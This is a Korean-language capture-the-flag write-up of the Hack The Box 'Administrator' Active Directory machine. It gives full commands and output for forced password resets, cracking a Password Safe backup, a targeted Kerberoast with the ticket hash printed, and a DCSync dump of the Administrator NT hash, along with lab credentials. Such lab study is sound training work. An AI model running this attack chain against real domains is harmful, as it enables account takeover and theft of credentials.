▌ TRANSMISSION · [HTB]

[MEDIUM_Windows] Administrator

2026-09-28 · Active Directory · AD · FQDN · smb · bloodyad · bloodhound · winrm · force change password attack · psafe3 · password safe · hashcat · DCSync · targeted kerberoast attack · TGS · pass the hash

alt text

실제 Windows 모의 침투(Pentest)에서 흔히 그렇듯, 당신은 다음 계정의 자격 증명(비밀번호)을 가지고 Administrator 박스 작업을 시작하게 됩니다: 사용자 이름: Olivia / 비밀번호: ichliebedic

우선, 주어진 IP를 대상으로 nmap 스캐닝을 수행하여 열린 포트들과 서비스들을 식별하였다.

┌──(m0nk3ygod㉿m0nk3ygod)-[~/htb/box/nexus/monkeygod]
└─$ sudo nmap 10.129.75.72 -p- --open -sV -sC --min-rate 2000
[sudo] password for m0nk3ygod:
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-28 09:50 +0900
Nmap scan report for 10.129.75.72
Host is up (0.21s latency).
Not shown: 65510 closed tcp ports (reset)
PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           Microsoft ftpd
| ftp-syst:
|_  SYST: Windows_NT
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-09-28 07:51:01Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: administrator.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: administrator.htb, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
54737/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
54742/tcp open  msrpc         Microsoft Windows RPC
54751/tcp open  msrpc         Microsoft Windows RPC
54764/tcp open  msrpc         Microsoft Windows RPC
57116/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 7h00m06s
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2026-09-28T07:51:56
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 117.47 seconds

수행 결과를 보면 Windows 운영체제를 사용하고 있고, ldap, kerberos, smb 등등의 서비스가 돌고 있는 것으로 보아, 해당 머신은 AD 환경에서 돌아가는 DC임을 짐작할 수 있다.

(administrator.htb 도메인도 확인할 수 있었다!! hosts 파일에 추가!)

FQDN: DC.administrator.htb

현재 가지고 있는 자격증명을 이용하여 smb 공유 목록부터 확인해봤다.

┌──(m0nk3ygod㉿m0nk3ygod)-[~]
└─$ nxc smb 10.129.75.72 -d administrator.htb -u 'Olivia' -p 'ichliebedich' --shares
SMB         10.129.75.72    445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.75.72    445    DC               [+] administrator.htb\Olivia:ichliebedich
SMB         10.129.75.72    445    DC               [*] Enumerated shares
SMB         10.129.75.72    445    DC               Share           Permissions     Remark
SMB         10.129.75.72    445    DC               -----           -----------     ------
SMB         10.129.75.72    445    DC               ADMIN$                          Remote Admin
SMB         10.129.75.72    445    DC               C$                              Default share
SMB         10.129.75.72    445    DC               IPC$            READ            Remote IPC
SMB         10.129.75.72    445    DC               NETLOGON        READ            Logon server share
SMB         10.129.75.72    445    DC               SYSVOL          READ            Logon server share

음… 전부 기본 공유 목록들이다…

바로 bloodhound를 때려서 뭐가 있는지도 좀 봐야겠다.

┌──(m0nk3ygod㉿m0nk3ygod)-[~/htb/box/Administrator]
└─$ bloodyad -H 10.129.75.72 -d administrator -u 'Olivia' -p 'ichliebedich' get bloodhound --path .
[+] Connecting to LDAP server
[+] Connected to LDAP serrver
Dumping schema: 2it [00:00,  2.16it/s]
Generating lookuptable: 83it [00:02, 38.97it/s]
Dumping SDs: 100%|███████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 87/87 [00:20<00:00,  4.22it/s]
Dumping domains: 100%|█████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 1/1 [00:00<00:00,  1.52it/s]
Dumping users: 100%|█████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 10/10 [00:00<00:00, 41.82it/s]
Dumping computers: 100%|███████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 1/1 [00:00<00:00,  4.50it/s]
Dumping groups: 100%|███████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 49/49 [00:00<00:00, 192.18it/s]
Dumping GPOs: 100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 2/2 [00:00<00:00,  8.87it/s]
Dumping OUs: 100%|█████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 1/1 [00:00<00:00,  4.59it/s]
Dumping Containers: 100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 19/19 [00:00<00:00, 67.36it/s]
[+] Bloodhound data saved to ./20260928T080934_Bloodhound.zip
[+] Found 0 trusts

┌──(m0nk3ygod㉿m0nk3ygod)-[~/htb/box/Administrator]
└─$ ls
20260928T080934_Bloodhound.zip

bloodyad를 이용해서 초기에 받은 자격증명을 이용하여 정보를 추출해주었다.

bloodhound를 실행시켜주고, 파일을 올려서 수집된 정보를 확인해보자!

alt text

일단 지금 가지고 있는 계정의 Out bound 그래프를 확인해보니 MICHAEL이라는 유저에 대해 GenericAll 권한을 가지고 있었다.

alt text

그리고 MICHAEL이라는 유저는 BENJAMIN이라는 유저에 대해 ForceChangePassword 권한도 가지고 있는 것을 알 수 있었다.

alt text

Olivia 유저가 속한 그룹을 확인해보니까 Remote Management Users 그룹에 속해있었다.

그러면 winrm을 이용해 접속해볼 수 있지 않을까 싶다.

접속해보자!

┌──(m0nk3ygod㉿m0nk3ygod)-[~/htb/box/Administrator]
└─$ evil-winrm -u 'Olivia' -p 'ichliebedich' -i DC.administrator.htb

Evil-WinRM shell v3.9

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\olivia\Documents> whoami
administrator\olivia

접속이 잘 된다!

Michael에 대해 GenericAll 권한이 있는 것을 확인했었다. 그러면 꽤 많은 공격들을 시도해볼 수 있을 것 같긴한데… (젤 빠르고 간단한 거를 좀 해보고 싶은…)

alt text

엣지 내용들 중, Force Change Password attack을 해보기로 했다.

이걸로, Michael의 패스워드를 내가 정한 패스워드로 바꾸어 계정을 획득해보자!

*Evil-WinRM* PS C:\Users\olivia\Documents> net user michael Password123! /domain
The command completed successfully.

일단 명령 수행은 잘 되었다고 하니, 잘 적용 되었는지 확인해보자.

┌──(m0nk3ygod㉿m0nk3ygod)-[~/htb/box/Administrator]
└─$ nxc smb 10.129.75.72 -d administrator.htb -u 'michael' -p 'Password123!' --shares
SMB         10.129.75.72    445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.75.72    445    DC               [+] administrator.htb\michael:Password123!
SMB         10.129.75.72    445    DC               [*] Enumerated shares
SMB         10.129.75.72    445    DC               Share           Permissions     Remark
SMB         10.129.75.72    445    DC               -----           -----------     ------
SMB         10.129.75.72    445    DC               ADMIN$                          Remote Admin
SMB         10.129.75.72    445    DC               C$                              Default share
SMB         10.129.75.72    445    DC               IPC$            READ            Remote IPC
SMB         10.129.75.72    445    DC               NETLOGON        READ            Logon server share
SMB         10.129.75.72    445    DC               SYSVOL          READ            Logon server share

잘된다~~

alt text

Michael의 경우도 Remote Management Users 그룹에 속해있으니 winrm 접속이 가능할 것 같다.

┌──(m0nk3ygod㉿m0nk3ygod)-[~/htb/box/Administrator]
└─$ evil-winrm -u 'michael' -p 'Password123!' -i DC.administrator.htb

Evil-WinRM shell v3.9

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\michael\Documents> whoami
administrator\michael

(잘 접속 되는 것을 확인!)

alt text

아까 Michael이 Benjamin에 대해 ForceChangePaword 권한이 있었기 때문에, 이번에도 패스워드를 바꿔서 Benjamin의 계정을 획득해보기로 했다.

*Evil-WinRM* PS C:\Users\michael\Documents> net user benjamin Password123! /domain
net.exe : System error 5 has occurred.
    + CategoryInfo          : NotSpecified: (System error 5 has occurred.:String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError

이번에도 net.exe를 이용해서 해결해보려고 했지만, 권한이 없어서 실패한 것을 볼 수 있었다.

그래서 bloodyad를 이용하기로 했다! (bloodyad에서 패스워드를 변경하는 기능을 제공함)

┌──(m0nk3ygod㉿m0nk3ygod)-[~/htb/box/Administrator]
└─$ bloodyad -H 10.129.75.72 -d administrator.htb -u michael -p 'Password123!' set password benjamin 'Password123!'
[+] Password changed successfully!

성공했다고 하니, 잘 적용되었는지 확인해봤다.

┌──(m0nk3ygod㉿m0nk3ygod)-[~/htb/box/Administrator]
└─$ nxc smb 10.129.75.72 -d administrator.htb -u 'benjamin' -p 'Password123!' --shares
SMB         10.129.75.72    445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.75.72    445    DC               [+] administrator.htb\benjamin:Password123!
SMB         10.129.75.72    445    DC               [*] Enumerated shares
SMB         10.129.75.72    445    DC               Share           Permissions     Remark
SMB         10.129.75.72    445    DC               -----           -----------     ------
SMB         10.129.75.72    445    DC               ADMIN$                          Remote Admin
SMB         10.129.75.72    445    DC               C$                              Default share
SMB         10.129.75.72    445    DC               IPC$            READ            Remote IPC
SMB         10.129.75.72    445    DC               NETLOGON        READ            Logon server share
SMB         10.129.75.72    445    DC               SYSVOL          READ            Logon server share

성공적으로 패스워드가 변경되어 benjamin 계정을 이용할 수 있는 것을 볼 수 있다.

이후에 뭘 해야하나 좀 막혔는데, 얻은 정보를 재확인 하던 중 ftp 서비스가 있는 것을 확인하고 여기에 접근해보기로 했다.

┌──(m0nk3ygod㉿m0nk3ygod)-[~/htb/box/Administrator]
└─$ ftp benjamin@10.129.75.72
Connected to 10.129.75.72.
220 Microsoft FTP Service
331 Password required
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp>

일단 접속은 됐고…

ftp> dir
229 Entering Extended Passive Mode (|||62530|)
125 Data connection already open; Transfer starting.
10-05-24  09:13AM                  952 Backup.psafe3
226 Transfer complete.

내부에 Backup.psafe3 라는 파일이 있는 것을 볼 수 있었다.

psafe3 확장자

.psafe3 확장자는 암호화된 비밀번호 관리 프로그램인 Password Safe의 데이터베이스 파일

일단 요거 다운로드 해주자.

ftp> get Backup.psafe3
local: Backup.psafe3 remote: Backup.psafe3
229 Entering Extended Passive Mode (|||62549|)
125 Data connection already open; Transfer starting.
100% |*************************************************************************************************************************************************************************************************|   952        4.66 KiB/s    00:00 ETA
226 Transfer complete.
WARNING! 3 bare linefeeds received in ASCII mode.
File may not have transferred correctly.
952 bytes received in 00:00 (4.65 KiB/s)

해당 파일을 읽어보면,

┌──(m0nk3ygod㉿m0nk3ygod)-[~/htb/box/Administrator]
└─$ ls -l | grep Backup.psafe3
-rw-r--r-- 1 m0nk3ygod m0nk3ygod   952 Oct  6  2024 Backup.psafe3

┌──(m0nk3ygod㉿m0nk3ygod)-[~/htb/box/Administrator]
└─$ cat Backup.psafe3
PWS3O���I&:ҫ�Y*�5Ջ�:W��y�G��k1I␦�rRA
��M��U�oj{F����=�m�a�SaM����z9�[�+�C^<�|�L@6��M<eQ�߬�Q���
                                                        ̌�5_Q}_�
"֡�>I���u��e�r ���ZGak�k>YO]B"�����btw�Q�
��i���<B�g^��ƈELKAD�/P\j������D�]���^j���ԫ3�␦+Q>��h���B ������ȗi�Y��������q���o�x�!o�g>�%o�uc�q�-��t�ބ�-]z��q�����̥5Զ
�(�4j8�J��H����tmh:��^���h�Nn����I{+�1���Gw,���rRFh;cp���SPM��>�5h>a�$N��j�s{�Wk��Xí�[��;y�qY��!�Z<�    �O�c��k�N���0�Uy�k�5�9F�t
#
�\�9h?s=��~GL��b�����H3���&��Cj�3�pA�]�0���ҩ�|"h�Bk�����k�(v�G^~�E!&'�|&):A�*<|$D|���K
U�7�xDN�y       �3�Q��<

엄… 뭔가 암호화가 되어있는거 같다.

그래서 좀 검색을 해보니,

alt text

hashcat으로 크랙을 시도해볼 수 있는 모양이다.

그래서 hashcat의 -m으로 모드를 지정해서 크랙을 시도해봤다.

┌──(m0nk3ygod㉿m0nk3ygod)-[~/htb/box/Administrator]
└─$ hashcat -m 5200 Backup.psafe3 /usr/share/wordlists/rockyou.txt
hashcat (v7.1.2) starting

OpenCL API (OpenCL 3.0 ) - Platform #1 [Intel(R) Corporation]
=============================================================
* Device #01: Intel(R) Graphics [0xa7a1], 15110/30221 MB (512 MB allocatable), 8MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimum salt length supported by kernel: 0
Maximum salt length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
* Slow-Hash-SIMD-LOOP

ATTENTION! Potfile storage is disabled for this hash mode.
Passwords cracked during this session will NOT be stored to the potfile.
Consider using -o to save cracked passwords.

Watchdog: Temperature abort trigger set to 90c

Host memory allocated for this attack: 650 MB (28184 MB free)

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

Backup.psafe3:tekieromucho

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5200 (Password Safe v3)
Hash.Target......: Backup.psafe3
Time.Started.....: Mon Sep 28 20:20:38 2026 (1 sec)
Time.Estimated...: Mon Sep 28 20:20:39 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........:   154.2 kH/s (7.97ms) @ Accel:12 Loops:256 Thr:128 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 12288/14344385 (0.09%)
Rejected.........: 0/12288 (0.00%)
Restore.Point....: 0/14344385 (0.00%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:2048-2049
Candidate.Engine.: Device Generator
Candidates.#01...: 123456 -> hawkeye
Hardware.Mon.#01.: N/A

Started: Mon Sep 28 20:20:28 2026
Stopped: Mon Sep 28 20:20:40 2026

오? 바로 크랙이 됐다!?!

일단 tekieromucho 이라는 패스워드를 알아냈다.

Password Safe를 설치해서 파일에 있는 잠금을 해제해 보았다.

(와 근데 windows에서 캡쳐가 안되네… 여기서 부터는 말로 설명함…)

패스워드를 입력해서 파일 데이터를 확인해보면, alexander, emily, emma 유저명을 확인할 수 있고, 각 항목을 우클릭하여 Password를 복사할 수도 있었다.

그 내용을 토대로 정리를 해보면,

alexander:UrkIbagoxMyUGw0aPlj9B0AXSea4Sw
emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb
emma:WwANQWnmJnGV07WQN8bMS7FMAbjNur

요렇게 나오게 된다.

파일명에서도 알 수 있듯, Backup 파일이기 때문에 해당 크리덴셜들이 전부 먹힐건지는 미지수이다.

그래서 일단 하나씩 다해봤다…

┌──(m0nk3ygod㉿m0nk3ygod)-[~/htb/box/Administrator]
└─$ nxc smb 10.129.75.72 -d administrator.htb -u 'alexander' -p 'UrkIbagoxMyUGw0aPlj9B0AXSea4Sw'
SMB         10.129.75.72    445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.75.72    445    DC               [-] administrator.htb\alexander:UrkIbagoxMyUGw0aPlj9B0AXSea4Sw STATUS_LOGON_FAILURE

┌──(m0nk3ygod㉿m0nk3ygod)-[~/htb/box/Administrator]
└─$ nxc smb 10.129.75.72 -d administrator.htb -u 'emily' -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb'
SMB         10.129.75.72    445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.75.72    445    DC               [+] administrator.htb\emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb

┌──(m0nk3ygod㉿m0nk3ygod)-[~/htb/box/Administrator]
└─$ nxc smb 10.129.75.72 -d administrator.htb -u 'emma' -p 'WwANQWnmJnGV07WQN8bMS7FMAbjNur'
SMB         10.129.75.72    445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.75.72    445    DC               [-] administrator.htb\emma:WwANQWnmJnGV07WQN8bMS7FMAbjNur STATUS_LOGON_FAILURE

확인 결과, emily에 계정 정보가 아직 먹히는 것을 확인할 수 있었다!!

User flag

*Evil-WinRM* PS C:\Users\emily\Desktop> dir


    Directory: C:\Users\emily\Desktop


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----        10/30/2024   2:23 PM           2308 Microsoft Edge.lnk
-ar---         9/28/2026  12:48 AM             34 user.txt


*Evil-WinRM* PS C:\Users\emily\Desktop> type user.txt
61e8************************6cbc

해당 유저를 bloodhound에서 좀 보면…

alt text

Ethan 유저에 대해 GenericWrite 권한을 가지고 있음을 확인할 수 있었다.

alt text

Ethan 유저는 도메인 객체(ADMINISTRATOR.HTB)에 대해 디렉터리 복제 관련 권한을 가지고 있는 것을 볼 수 있다.

총 3개의 권한이 합쳐져 있었다.

GetChages: DS-Replication-Get-Changes. AD 변경 사항을 복제 요청할 수 있는 권한
GetChangesAll: DS-Replication-Get-Changes-All. 비밀번호 해시 같은 민감한 디렉터리 정보까지 복제할 수 있는 권한
GetChangesInFilteredSet: DS-Replication-Get-Changes-In-Filtered-Set. RODC의 filtered attribute set과 관련된 복제 권한

나중에 DCSync 같은 공격이 가능할 것으로 보인다.

Ethan 계정을 얻기 위해 뭘 할까 하다가, Targeted Keberoast attack 을 수행해보기로 했다.

https://github.com/ShutdownRepo/targetedKerberoast

요걸 이용해서 수행해봤다.

┌──(m0nk3ygod㉿m0nk3ygod)-[~/htb/box/Administrator/targetedKerberoast]
└─$ python3 targetedKerberoast.py -u emily -p UXLCI5iETUsIBoFVTj8yQFKoHjXmb -d administrator.htb --request-user ethan --dc-ip 10.129.75.72
[*] Starting kerberoast attacks
[*] Attacking user (ethan)
[+] Printing hash for (ethan)
$krb5tgs$23$*ethan$ADMINISTRATOR.HTB$administrator.htb/ethan*$77fb4ddf08fc71b321aa5fad144c9df4$c2531bb954c5174c036f45b3e684e630dda5e04dcd35fb9e215cd12e549d5124fa93e63fd5b6e301678a46273727c49ed87a9e0435f3f57019e826c636aab0522ad35cc128300eeb4e1ea1e557de067c37400eaeec1a503003dc0707454d7553fa1ff28a4c7851a04bab3c7823cec30374ae7c704322fa4cc1118756d4b404fe28eadffbc4f33808c2be3bfe51e1c19c39816e837f30495596734795a6fe5e42816887191bcaa8ab3c407bc603335f31b2772b44b7e2055370dab7fee531e9149537d01a9cca8bbd6f062158d4cb38e72d809212b683c1959d6e8ebc1a0501006f44ee3bed68c2f0ff5c197921aef85019ff93fbb7f4617908673f080624aa0f4bd1ae4916caea5729af789678d93cd7361048e71be5cf43c35131e6ab7d1362d81ef439d525c2b422d56d578dd20016e35dd4ec0a1b0286aaeae2a59e35b717c76983f1e466d75543186a5f76b4a7050ae5fcf48ad31b6c41a602c9b240c7bd123222436934567d6aae4ee66bc07bf6cadd43d12bb4861a10496fb13152285d4e0b05ecf103fcf80292f14386d398a0c70685a52b8c71249e206c880b4c91ead0b8b0e5d3bd7aa32905121a2d76a2f5eab43fbbe0d93ab5a8af00a141c348a85aa17e312540b65113e4617ca4b244e1b19753186f969c79b434335368a0f53d6dd1162bbe052e32e6b8fbfc28a97932b152042edd2d20e446ec9dc652c82de8bfec2e415584b8399a99dad272da8e32402ef3cbbae1665c7b7a9470ae681904023b41b217e8082e09b37680ca938f0c8b433598863cd48ce22b86da738289abd9eb67bf3dabde04d2593c4cdbe800abbc2642459a701bb8f62ae73ca6d9a2f060d8d03d13044f7738ddf2aa46c4a5b2448fedb13c87ad29f16a35a78a3ae29ac8b769ec6cc0ccfa461e3500a20465206c4b26c407f7446ad4933594e8d04d8b1e81c1af9687333b3f7e283fdd4052c522ba3e5e7ec8f0c367cf0ae52a237ef8e74f7266bd6d1d6d79deaff32d49a248b9fb2913de57422d72433d68260651dc86f35877cb4297a7e49eab9c00e9e3d3170e1d127ef08f1f85a6c45edaef296e60b0fda964270ca28520faa77ceb1f6a88dfbe4d0d5c04ee36d16f57e4665e4e01c369af686b98bcf630d0c0015022d3f9a38f60cd98b3cf02f20ec43381137aad13a3349dfd4af4de1bcd558e1b289985fcefb2e9d329930e3f53f7ed4358e23629805f45ab293ef433e5505454a32d5bcac2fb5d0fc519b49999a984cb3480745bb1f6face413f2bb115a1f9b8d86df6235493f36622926cb2ff5b01c94d9bda99231e36e075718fcf1eecfe7a320048c316368bef5fc9da4f5401cfe9316d46d64ad03012d2fcc911eedace3f10234a1abb867daa49b132c949abe99136904bcf186392fd29741c14d0986cf08a8087ad3ac6931f351d52036243ee7bbb1e6c9bfaa2b3c6f29957b7b46e8b51018450ef41a429196b4a4f9561a71e9254f12525793541c86f87ddcc7f13882d6ed7d1434ffff1f1c45d5e1efcb05ed1cc

요렇게 서비스 티켓을 발급 받을 수 있었고, 이걸 hashcat으로 크랙되는지 확인해봤다.

https://hashcat.net/wiki/doku.php?id=example_hashes

┌──(m0nk3ygod㉿m0nk3ygod)-[~/htb/box/Administrator]
└─$ hashcat -m 13100 ethan_tgs /usr/share/wordlists/rockyou.txt
hashcat (v7.1.2) starting

OpenCL API (OpenCL 3.0 ) - Platform #1 [Intel(R) Corporation]
=============================================================
* Device #01: Intel(R) Graphics [0xa7a1], 15110/30221 MB (512 MB allocatable), 8MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimum salt length supported by kernel: 0
Maximum salt length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory allocated for this attack: 582 MB (28117 MB free)

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

$krb5tgs$23$*ethan$ADMINISTRATOR.HTB$administrator.htb/ethan*$77fb4ddf08fc71b321aa5fad144c9df4$c2531bb954c5174c036f45b3e684e630dda5e04dcd35fb9e215cd12e549d5124fa93e63fd5b6e301678a46273727c49ed87a9e0435f3f57019e826c636aab0522ad35cc128300eeb4e1ea1e557de067c37400eaeec1a503003dc0707454d7553fa1ff28a4c7851a04bab3c7823cec30374ae7c704322fa4cc1118756d4b404fe28eadffbc4f33808c2be3bfe51e1c19c39816e837f30495596734795a6fe5e42816887191bcaa8ab3c407bc603335f31b2772b44b7e2055370dab7fee531e9149537d01a9cca8bbd6f062158d4cb38e72d809212b683c1959d6e8ebc1a0501006f44ee3bed68c2f0ff5c197921aef85019ff93fbb7f4617908673f080624aa0f4bd1ae4916caea5729af789678d93cd7361048e71be5cf43c35131e6ab7d1362d81ef439d525c2b422d56d578dd20016e35dd4ec0a1b0286aaeae2a59e35b717c76983f1e466d75543186a5f76b4a7050ae5fcf48ad31b6c41a602c9b240c7bd123222436934567d6aae4ee66bc07bf6cadd43d12bb4861a10496fb13152285d4e0b05ecf103fcf80292f14386d398a0c70685a52b8c71249e206c880b4c91ead0b8b0e5d3bd7aa32905121a2d76a2f5eab43fbbe0d93ab5a8af00a141c348a85aa17e312540b65113e4617ca4b244e1b19753186f969c79b434335368a0f53d6dd1162bbe052e32e6b8fbfc28a97932b152042edd2d20e446ec9dc652c82de8bfec2e415584b8399a99dad272da8e32402ef3cbbae1665c7b7a9470ae681904023b41b217e8082e09b37680ca938f0c8b433598863cd48ce22b86da738289abd9eb67bf3dabde04d2593c4cdbe800abbc2642459a701bb8f62ae73ca6d9a2f060d8d03d13044f7738ddf2aa46c4a5b2448fedb13c87ad29f16a35a78a3ae29ac8b769ec6cc0ccfa461e3500a20465206c4b26c407f7446ad4933594e8d04d8b1e81c1af9687333b3f7e283fdd4052c522ba3e5e7ec8f0c367cf0ae52a237ef8e74f7266bd6d1d6d79deaff32d49a248b9fb2913de57422d72433d68260651dc86f35877cb4297a7e49eab9c00e9e3d3170e1d127ef08f1f85a6c45edaef296e60b0fda964270ca28520faa77ceb1f6a88dfbe4d0d5c04ee36d16f57e4665e4e01c369af686b98bcf630d0c0015022d3f9a38f60cd98b3cf02f20ec43381137aad13a3349dfd4af4de1bcd558e1b289985fcefb2e9d329930e3f53f7ed4358e23629805f45ab293ef433e5505454a32d5bcac2fb5d0fc519b49999a984cb3480745bb1f6face413f2bb115a1f9b8d86df6235493f36622926cb2ff5b01c94d9bda99231e36e075718fcf1eecfe7a320048c316368bef5fc9da4f5401cfe9316d46d64ad03012d2fcc911eedace3f10234a1abb867daa49b132c949abe99136904bcf186392fd29741c14d0986cf08a8087ad3ac6931f351d52036243ee7bbb1e6c9bfaa2b3c6f29957b7b46e8b51018450ef41a429196b4a4f9561a71e9254f12525793541c86f87ddcc7f13882d6ed7d1434ffff1f1c45d5e1efcb05ed1cc:limpbizkit

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target......: $krb5tgs$23$*ethan$ADMINISTRATOR.HTB$administrator....5ed1cc
Time.Started.....: Mon Sep 28 20:57:17 2026 (0 secs)
Time.Estimated...: Mon Sep 28 20:57:17 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........:  3898.7 kH/s (12.49ms) @ Accel:265 Loops:1 Thr:32 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 67840/14344385 (0.47%)
Rejected.........: 0/67840 (0.00%)
Restore.Point....: 0/14344385 (0.00%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: 123456 -> pepsi3
Hardware.Mon.#01.: N/A

Started: Mon Sep 28 20:57:01 2026
Stopped: Mon Sep 28 20:57:18 2026

이번에도 성공적으로 크래킹에 성공하여 limpbizkit라는 문자열을 얻었다.

이걸로 ethan 계정을 이용할 수 있는지 확인해보면,

┌──(m0nk3ygod㉿m0nk3ygod)-[~/htb/box/Administrator]
└─$ nxc smb 10.129.75.72 -d administrator.htb -u 'ethan' -p 'limpbizkit'                                                                                                                                                                      SMB         10.129.75.72    445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.75.72    445    DC               [+] administrator.htb\ethan:limpbizkit

이렇게 ethan 계정까지 획득할 수 있다!

alt text

해당 계정은 Remote Management Users 그룹에 속해있지 않아서 winrm 접속은 어려워보였다.

그냥 DCSync 어택을 해서 DC 계정의 NTLM을 가져오는 방향으로 진행해야할 것 같다.

impacket의 secretdump를 활용해서 진행해보았다. (forest 머신 참고)

┌──(m0nk3ygod㉿m0nk3ygod)-[~/htb/box/Administrator]
└─$ impacket-secretsdump ADMINISTRATOR.HTB/ethan@10.129.75.72 -just-dc
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

Password:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3dc553ce4b9fd20bd016e098d2d2fd2e:::
